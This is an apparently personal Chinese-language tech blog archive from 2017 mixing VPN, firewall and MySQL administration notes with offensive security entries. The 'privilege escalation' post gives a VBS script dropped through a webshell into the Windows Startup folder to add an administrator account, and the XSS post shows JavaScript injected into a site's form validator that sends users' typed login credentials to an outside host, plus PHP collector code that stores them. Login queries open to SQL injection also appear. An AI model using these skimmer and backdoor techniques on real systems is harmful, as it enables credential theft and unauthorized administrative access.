2017年3月29日星期三

[转]sqlmap脱裤.csv文件中文乱码解决方法

sqlmap脱裤.csv文件中文乱码解决方法 脱下的.CSV文件默认打开方式是excel; 解决方法: 1、将导出的CSV文件用记事本打开 2、然后另存为:选择ANSI编码保存,

用户登录页面,后台的登录逻辑判断

经典的实现方式
SELECT count(*) FROM user WHERE name ='".$user."' AND password = '".sha1($password)."'"
SELECT username,pass FROM users WHERE username='$uname' AND password='$passwrd' LIMIT 0,1
SELECT * FROM users WHERE username = '$username' AND password = '$password'
另一种实现方式 先通过用户名去数据库查询相关用户的密码字段,并且检查只有一条,如果有两条以上就应该判断为false。 这可以防止基于约束的sql注入攻击。 查询到密码字段后,与post方法获取到的密码进行比对,这样,就不存在sql注入bypass登录页面的问题了。

参考链接:
1. 防SQL注入攻略
2. 使用php实现简单的登录系统
3. 从万能密码看SQL的逻辑运算符

2017年3月16日星期四

cisco ASA 防火墙查找重启原因

1. show crashinfo
2. dir flash:/crash.txt
3.通过日志服务器查找原因
4.通过zabbix监控接口流量情况与cpu内存利用情况

这是一次在debug过程导致重启的事故,从crashinfo消息
看出是ssh进程导致的,与debug关系不大。

阿里云部署strongswan与flexGW (实现linux与cisco asa 5520对接)

0x00 使用flexGW与对端CISCO asa 5520建立IKEv2 ipsec vpn

首先要介绍一下FlexGW,它是阿里开源的一个项目,FlexGW项目地址
它包含了两个开源组件,openvpn、strongswan
但是这里,只需要用到strongswan即可,strongswan的官网首页有许多
IKE相关的RFC编号,可以多看看

环境:
         OpenVPN 2.3.14 x86_64-redhat-linux-gnu
         strongSwan U5.4.0/K2.6.32-573.22.1.el6.x86_64
         CentOS release 6.5 (Final)

0x02 根据官方文档配置

    搭建VPN网关 是阿里官方flexGW web图形配置界面介绍,加上cisco ASA的配置。
    注意配置两端的参数要一致。
     
0x03 我的配置

    首先定义允许经过VPN的流量
    access-list ALIVPN extended permit ip 172.16.0.0 255.255.0.0 10.8.0.0 255.255.0.0
    
    重要提示:在这里可能会出现下面的报错。
    原理:strongswan会把允许的流量列表发过来,必须要与ALIVPN列表精确匹配,
               否则就不能正常建立ipsec sa。
  以下是之前的写法:
               access-list IT-2-ALIVPN extended permit ip 172.16.11.0 255.255.255.0 10.8.0.0 255.255.0.0
  日志错误
        Negotiation aborted due to ERROR: Failed to find a matching policy
  调试错误
    IKEv2-PROTO-1: (64): Failed to find a matching policy
  原因
访问控制列表与对端的流量筛选器不一致


  crypto ikev2 enable wan
  crypto ikev2 policy 10
  encryption aes-256 3des
  integrity sha256 md5
  group 5 2 1
  prf sha256 md5
  lifetime seconds 86400

  tunnel-group HardWay type ipsec-l2l        # 这个一直提示错误的信息
  tunnel-group HardWay ipsec-attributes
  ikev2 remote-authentication pre-shared-key cisco123
  ikev2 local-authentication pre-shared-key cisco123
  
 调试出下面错误
  IKEv2-PLAT-1: Failed to set P1 auth to build policy
  IKEv2-PLAT-1: unable to build ikev2 policy
  IKEv2-PROTO-1: (38): Failed to locate an item in the database
 
 更换了tunnel-group ID后,正常连接隧道
  tunnel-group 99.99.99.99 type ipsec-l2l    # 把HardWay改成99.99.99.99
  tunnel-group 120.77.32.39 ipsec-attributes
  ikev2 remote-authentication pre-shared-key cisco123
  ikev2 local-authentication pre-shared-key cisco123
 
  crypto ipsec ikev2 ipsec-proposal itplus
  protocol esp encryption 3des 
  protocol esp integrity md5
 
 crypto map cry-map 50 match address ALIVPN
 crypto map cry-map 50 set peer 99.99.99.99
 crypto map cry-map 50 set ikev2 ipsec-proposal itplus

 第二次报错
  IKEv2-PLAT-1: IKEv2 protocol not allowed by policy set for vpn-tunnel-protocol
  IKEv2-PLAT-1: Connection is not authorized based on configured attributes
  IKEv2-PROTO-1: (39): Failed to register new SA with platform

 第二次报错的解决方法
 
  group-policy ALI_VPN internal
  group-policy ALI_VPN attributes
  vpn-idle-timeout 30
  vpn-tunnel-protocol ikev2
  
  tunnel-group 99.99.99.99 general-attributes
  default-group-policy ALI_VPN

0x03 两个SA建立后,ping不同?
        

ping不通的原因:
     ESP 数据包必须经过NAT,而经过NAT后源地址被转换,校验失败,数据包丢弃。
     出个问题,ESP数据包可以不走NAT吗?
解决方法:
      在asa做一个二次NAT,让源地址与目标地址都不转换的经过NAT。
 object network XYJCOM
 subnet 172.16.0.0 255.255.0.0
 
 object network ALICLD
 subnet 10.8.0.0 255.255.0.0
 
 nat (lan,wan) source static XYJCOM XYJCOM destination static ALICLD ALICLD no-proxy-arp route-lookup

0x04 排错思路

排除思路:
一种是开debug
debug crypto ikev2 protocol
debug crypto ikev2 platform

另外一种是查看日志

show logging | in x.x.x.x   (过滤对端IP地址)






2017年3月15日星期三

阿里云部署openvpn L2L - C/S架构 (or site to site)

0x00 基于LAN-TO-LAN的阿里云部署C/S架构openvpn

      这次依然使用openvpn的C/S架构,但是实现的是LAN-TO-LAN vpn,实现两边的内网互访。而不是默认的c/s架构,只能由client访问到服务器内网的资源。
环境:
         OpenVPN 2.3.14 x86_64-redhat-linux-gnu
         CentOS release 6.5 (Final)


0x01  点对点VPN

        1.不需要开启iptables
2.添加合适的路由,可以在openvpn的配置文件下去完成
3.需要开启数据包转发功能,在/etc/sysctl.conf下去配置
4.查看路由表的方法:
route -n
netstat -nr
linux增加路由与删除路由
route add -net 172.16.11.0 netmask 255.255.255.0 dev tun0 gw 10.8.0.1
route del -net 172.16.11.0 netmask 255.255.255.0 dev tun0 gw 10.8.0.2
windows添加静态路由
route add 10.8.0.0 mask 255.255.255.0 172.16.11.196

0x02 一些调试与排错技巧

        配置文件快速查看
            grep "^[^#;]" server.conf 
 
        vpn调试工具
            在指定接口下抓限定条件的数据包
            tcpdump -i tun0 -n dst 10.8.1.11
            tcpdump -i tun0 -n src 172.16.11.198
 
         linux下的openvpn客户端
              apt-get install openvpn
              openvpn --config ali.ovpn
              注意:openvpn --config config/ali.ovpn 这样会有问题,不能启动
              只能到指定文件夹下去加载配置文件,才不会出错

        查看证书的命令
               openssl x509 -noout -text -in xxname.crt

        根据证书的common name,里面有五个信息可以看
       Issuer   --  CA的信息
       subject  --  项目或者用户的信息
       signature Algorithm  -- 签名算法
       Validity   --  证书有效期
       Public-Key Length  -- 公钥长度
主要根据subject的common name,即CN

0x03 完成两边网络互访的关键配置项

       首先我把server.conf里面的注释内容翻译了一下
# 分配指定的ip地址给指定的客户端
# 或者连接的客户端后面有私有子网也需要有VPN访问
# 使用子目录名“ccd”为指定客户端添加配置文件
# (详细内容请看man page)

# 举例: (CN: Common Name)
# 假设客户端证书的CN是“Thelonious”
# 有一个小型子网在他连接VPN的电脑后面
# 比如 192.168.40.128/255.255.255.248.
# 首先,把下面两行注释掉
;client-config-dir ccd
;route 172.16.11.0 255.255.255.0
# 然后创建一个ccd/Thelonious的文件,写入一行:
#   iroute 192.168.40.128 255.255.255.248
# 这将允许Thelonious后面的私有子网去访问VPN
# 这个例子将只会工作在路由模式而不是桥接模式
# [i.e.] 也就是,你使用的是 “dev tun” 与 “server” 指令

# 举例:
# 假设你想给Thelonious一个固定的VPN IP地址:10.9.0.1
# 首先,把下面两行注释掉
;client-config-dir ccd
;route 10.9.0.0 255.255.255.252
# 然后把下面内容加入 ccd/Thelonious
#   ifconfig-push 10.9.0.1 10.9.0.2
注意文件的命名必须严格按照证书里面CN来命名

2017年3月11日星期六

阿里云部署openvpn 基于NAT C/S架构

0x00
这次是第二次配置openvpn了,第一次没有成功,因为是在国外的主机上。
本次基本参照一篇博文完成了配置。

其中要注意的是,不要照搬照抄,注意修改一些内容。
给新用户生成证书的时候,在cd /etc/openvpn目录下
需要注意先执行 source ./vars
然后再 ./build-key xxname

环境:
         OpenVPN 2.3.14 x86_64-redhat-linux-gnu
         CentOS release 6.5 (Final)

0x01
注意根据自己的需求写iptables规则
设置iptables这一条至关重要通过配置nat将vpn网段IP转发到server内网,10.8.0.0/24 是vpn网段

iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -j MASQUERADE
iptables -A INPUT -p UDP --dport 1194 -j ACCEPT
iptables -A INPUT -p TCP --dport 22 -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
service iptables save
chkconfig iptables on  

注意: 必须让iptables服务开机自启动,否则规则不会加载

由于我是在生产环境下,需要多次重启,确保开机后openvpn服务正常运作。

0x02
这次openvpn的搭建速度很快,不到3个小时就完成,当然靠的是良好的排错思路。
可以根据两篇博文的思路来进行,中文英文

总结openvpn 的排除思路

可以说openvpn的排错都是在配置文件里面去完成

server端
查看日志,搜索 error
根据错误去配置

client端
日志出现错误的时候,
就去查看日志,搜索WARNING,并且定位问题
一般定位到的问题都是在server端或者client端配置不匹配导致的
所以通过调整配置文件一般都可以排错完成


2017年3月2日星期四

编码直觉

编码直觉是作为一名黑帽子与白帽子必须掌握的一门技能

注意:在处理并且理解编码意义的时候,经常需要用到碰撞与撞库的术语,或者fuzz。

unix时间戳
                    10位数字长度   1487404381          秒
                    13位数字长度   1487404381121    毫秒

md5  特点
1. 128bit  (16字节)  32个字符
2. 一般128位的MD5散列被表示为32位十六进制数字  (注意:表示一词用的很好)
3. 定长输出

        示例:
                 md5(sdafsd,32) = 569ebc3d91672e7d3dce25de1684d0c9

SHA-1  特点
1.  比md5多8个字符,40个字符
2.  有更多的加密选择,sha-128-256-512

1. 这类加密只能使用脚本进行比对,得出使用的加密算法

BASE64  特点 
 1. 等号“=”用来作为后缀用途 , 后面有一个或者两个 = 号的
 2. 64个字符

   52个大小写字母
    ABCDEF  GHIJKL MNOPQR  STUVWX YZ
    abcdef    ghijkl    mnopqr     stuvwx  yz

  10个数字
    0123456789

  两个字符
     + /


参考链接:
1. 几种常用加密算法比较 


提权记录

最佳拍档A  -- 检索没有安装的补丁编号
最佳拍档B  --  查找相关漏洞编号的使用范围,包括系统版本
渗透工具集合 -- 含有大部分漏洞利用程序

 webshell写入启动项目提权

set wshshell=createobject ("wscript.shell")
a=wshshell.run ("cmd.exe /c net user 用户名 密码  /add",0)
b=wshshell.run ("cmd.exe /c net localgroup Administrators 用户名 /add",0)

保存为xx.vbs
放入 C:\Documents and Settings\All Users\「开始」菜单\程序\启动 ,前提可写

有一条命令可以提取出补丁的详细信息:
        wmic qfe list full

参考链接:
1. Web安全之Windows提权

mysql密码忘记

按照以下的顺序执行
# /etc/init.d/mysql stop
# mysqld_safe --user=mysql --skip-grant-tables --skip-networking &
到这一步,直接再一个回车,&表示后台运行

# mysql -u root mysql
mysql> UPDATE user SET Password=PASSWORD('newpassword') where USER='root';
这里newpassword,就是你新密码 

mysql> FLUSH PRIVILEGES;
mysql> quit

# /etc/init.d/mysql restart
# mysql -uroot -p
Enter password: <输入新设的密码newpassword>

mysql>

XSS原理到后台接收的实践

首先要有一台VPS,一个域名

xss 代码存放处

路径: /Include/Script/validator.js
函数位置: jQuery.fn.checkForm  下面的 form.submit
js代码: document.getElementById('mx').src="http://www.sherpper.com:8680/test.php?"+encodeURI('pass=' + document.getElementById('TextBox2').value)+encodeURI('&user=' + document.getElementById('TextBox1').value);

构造代码的过程中,使用了两个函数 escape 与 encodeURI 。
注意escape组成的url是不能提交成功的,需要使用encodeURI.

html代码:<img src="" id="mx" style="display: none;"/>

安装mysql,并且创建数据库

        创建数据库
                  Create database test;

创建表
create table login
  (
   id int not null AUTO_INCREMENT,
   username char(15) NOT NULL,
   password char(15) NOT NULL,
   PRIMARY KEY(id)

   )ENGINE = InnoDB;

        想看之前创建的表
                show create table xss;

php 后台接收代码
  
<?php
session_start();

$_SESSION['attempt'] = isset($_SESSION['attempt'])?$_SESSION['attempt']:0;

$_SESSION['attempt'] += 1;

if ($_SESSION['attempt'] >= 100) {
    die("Too Frequent");
}

$mysqli = new mysqli("localhost", "root", "123456", "evil");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

$passwd = $_GET['pass'];
$users = $_GET['user'];

$time = date("Y-m-d H:i:s", time());

$items = explode(";", $content);

$js = '';

foreach ($items as $item) {
    $js .= ("document.cookie='".trim($item)."';");
}

echo 'js: ' , $js , '<br>' , 'time: ' , $time , '<br>';

if ($stmt = $mysqli->prepare("insert into xss(username, password, time, js) values (?, ?, ?, ?)")) {
    $stmt->bind_param('ssss', $passwd, $users, $time, $js);
    $result = $stmt->execute();
    if ($result) {
        echo "Collected Your Cookie <br>" ;
    }
}

echo 'password: ', $passwd, '<br>', 'username: ', $users;

?>
这次在linux部署LAMP服务器时遇到一些小问题:
环境: debian7(raspberry pi) apache2 PHP mysql
配置完port.conf后,重启出现问题:
          How to fix Apache2 could not reliably determine the server’s fully qualified domain name
下面是解决方法,附上链接
       echo "ServerName localhost" | sudo tee /etc/apache2/conf.d/fqdn